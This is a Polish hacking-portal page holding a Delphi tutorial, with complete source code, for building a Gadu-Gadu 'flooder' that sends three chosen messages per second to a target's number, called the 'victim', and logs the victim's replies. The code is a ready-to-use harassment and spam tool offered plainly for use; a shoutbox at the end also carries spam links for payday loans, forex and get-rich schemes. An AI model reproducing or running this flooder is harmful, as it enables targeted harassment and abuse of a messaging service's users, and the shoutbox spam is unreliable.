Hacking  
  Wrzesień 26 2017 11:09:41  
 
Nawigacja
folder Portal
. Artykuły
. Download
. Forum
. Szukaj
. FAQ
. Regulamin
folder Hacking
. Gry Hakerskie
. Filmy
folder Delphi
. Kursy
. Faq
. Źródła
. Komponenty
. Artykuły
folderWebmaster
. JavaScripts
. Skrypty PHP
folderRóżne
. Kontakt
. Zlokalizuj ip
Aktualnie online
. Gości online: 6

. Użytkowników online: 0

. Łącznie użytkowników: 153,722
. Najnowszy użytkownik: ThomasRek
Ostatnie artykuły
. Metoda ataku symlin...
. Asembler x86 w pigułce
. Binder plików z komp...
. [Asembler/MASM] Pobi...
. Braifuck 4 fun
Nawigacja
Artykuły » Delphi artykuły » Jak napisać Gadu-Gadu Flooder
Jak napisać Gadu-Gadu Flooder

Gadu-Gadu Flooder



Powiem jak można łatwo prosto napisac Gadu-Gadu Flooder'a ! będzie to prosty flooder ktory będzie wysyłał 3 wiadomosci na sekunde ofiaze ! ok więc zaczynamy !

Wklej na form te komponenty :
-edit (name:numer)
-edit (name:haslo)
-edit (name:ofiara)
-edit (name:wiadomosc)
-timer (name:timer)
-label (name:ilosc)
-button (name:polacz caption:polacz)
-button (name:rozlacz caption:rozlacz)
-button (name:start caption:start)
-button (name:stop caption:stop)
-hgg (name:gg)
-memo (name:odbiur)

Wszystkie te komponenty są juz na starcie w delphi oprócz hgg mozesz go pobrać na stronie Hackme.pl

Ok !

Kliknij dwa razy na button (polacz) i wpisz :

Kod:

gg.Number:=strtoint(numer.Text);
gg.Password:=haslo.Text;
gg.Connect(500);
ofiara.enabled:=false;


Kliknij dwa razy na button (rozlacz) i wpisz :

Kod:

gg.Status:=0;
ofiara.enabled:=true;


Klikamy dwa razy na forme (form1) i wpisujemy :

Kod:

timer.enabled:=false;


Klikamy 2 razy na button (start) i wpisujemy :

Kod:

timer.enabled:=true;


Klikamy 2 razy na button (stop) i wpisujemy :

Kod:

timer.enabled:=false;


Kliknij dwa razy na timera (timer) i wpisz :

Kod:

timer.Enabled:=false;
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
a:=strtoint(ilosc.caption);
a:=a+3;
timer.Enabled:=true;


Teraz kliknij raz na Thgg (gg) i w Object Inspector wejdz w zakładke Events i tam masz na liscie OnMessage kliknij na to 2 razy i wpisz :

Kod:

if (ggnumber=strtoint(ofiara.Text)) then
begin
odbiur.lines.add('Ofiara : '+MessageContent);
end


ok ! i to juz jest koniec !

Wszystko powinno wyglądac tak :

Kod:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, HGG,
ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
polacz: TButton;
rozlacz: TButton;
numer: TEdit;
haslo: TEdit;
ofiara: TEdit;
wiadomosc: TEdit;
ilosc: TLabel;
Timer: TTimer;
start: TButton;
stop: TButton;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
gg: THGG;
odbiur: TMemo;
Label6: TLabel;
procedure polaczClick(Sender: TObject);
procedure rozlaczClick(Sender: TObject);
procedure TimerTimer(Sender: TObject);
procedure ggMessage(Sender: TObject; GGNumber: Integer;
MessageContent: String; MessageTime: TDateTime);
procedure startClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure stopClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
a:integer;

implementation

{$R *.dfm}

procedure TForm1.polaczClick(Sender: TObject);
begin
gg.Number:=strtoint(numer.Text);
gg.Password:=haslo.Text;
gg.Connect(500);
ofiara.enabled:=false;
end;

procedure TForm1.rozlaczClick(Sender: TObject);
begin
gg.Status:=0;
ofiara.enabled:=true;
end;

procedure TForm1.TimerTimer(Sender: TObject);
begin
timer.Enabled:=false;
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
a:=strtoint(ilosc.caption);
a:=a+3;
timer.Enabled:=true;
end;

procedure TForm1.ggMessage(Sender: TObject; GGNumber: Integer;
MessageContent: String; MessageTime: TDateTime);
begin
if (ggnumber=strtoint(ofiara.Text)) then
begin
odbiur.lines.add('Ofiara : '+MessageContent);
end
end;

procedure TForm1.startClick(Sender: TObject);
begin
timer.Enabled:=true;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
timer.enabled:=false;
end;

procedure TForm1.stopClick(Sender: TObject);
begin
timer.Enabled:=false;
end;

end.


Teraz nasz Gadu-Gadu Flooder potrafi :
-Połączyc się :P
-rozłączyc się :P
-wysyłac 3 wiadomosci (ktore sam wybierasz) na numer ofiary (sam wybierasz).
-Jest opcjia Start i Stop
-Mozesz odczytac wiadomosc co do ciebie pisze ofiara
-Jest licznik ile wiadomosci zostało wysłanych
Logowanie
Nazwa użytkownika

Hasło



Nie masz jeszcze konta?
Zarejestruj się

Nie możesz się zalogować?
Poproś o nowe hasło
Shoutbox
Musisz zalogować się, aby móc dodać wiadomość.

05-09-2017 00:59
https://www.youtub
e.com/watch?v=fS0l
FNzl5uE

05-09-2017 00:58
https://www.youtub
e.com/watch?v=fS0l
FNzl5uE ZARABIANIE NA NECIE GRUBA FORSE BEZ INWESTYCIJ

30-08-2017 03:38
online payday loans direct lenders <a href="http://cashad
vances2017.com"
Chytry guaranteed payday loans</a> &lt;a href=&quot;http://c
ashadvances2017.co
m&quot;&gt; payda

07-08-2017 13:23

05-08-2017 00:33
forex trading online now blogspot search images http://anicinag.7m
.pl/qifyly/forex-m
ix-repinox-wikiped
ia-dictionary.html
forex omsk bird polandball philippines http://dandireli.7
m.pl/pylalyga

Licznik
30,422,119 unikalne wizyty